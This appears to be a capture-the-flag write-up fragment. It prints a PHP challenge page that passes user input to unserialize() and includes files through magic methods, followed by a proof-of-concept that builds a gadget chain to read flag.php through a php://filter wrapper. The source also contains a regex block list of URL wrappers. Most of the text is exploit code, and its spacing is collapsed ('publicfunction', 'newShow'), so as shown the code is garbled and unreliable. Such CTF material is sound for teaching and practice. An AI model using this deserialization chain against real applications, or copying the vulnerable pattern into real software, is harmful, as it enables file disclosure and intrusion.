Welcome to index.php
<?php
//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!classModifier{protected$var;publicfunctionappend($value){include($value);}publicfunction__invoke(){$this->append($this->var);}}classShow{public$source;public$str;publicfunction__construct($file='index.php'){$this->source=$file;echo'Welcome to '.$this->source."<br>";}publicfunction__toString(){return$this->str->source;}publicfunction__wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){echo"hacker";$this->source="index.php";}}}classTest{public$p;publicfunction__construct(){$this->p=array();}publicfunction__get($key){$function=$this->p;return$function();}}if(isset($_GET['pop'])){
@unserialize($_GET['pop']);}else{$a=newShow;highlight_file(__FILE__);}
POC
<?phpclassModifier{protected$var="php://filter/read=convert.base64-encode/resource=flag.php";publicfunctionappend($value){include($value);}publicfunction__invoke(){$this->append($this->var);}}classShow{public$source;public$str;publicfunction__construct($file='index.php'){$this->source=$file;echo'Welcome to '.$this->source."<br>";}publicfunction__toString(){return$this->str->source;}publicfunction__wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){echo"hacker";$this->source="index.php";}}}classTest{public$p;publicfunction__construct(){$this->p=array();}publicfunction__get($key){$function=$this->p;return$function();}}$a=newModifier();$b=newShow();$c=newTest();$c->p=$a;$b->source=$b;$b->str=$c;$b=serialize($b);echourlencode($b);?>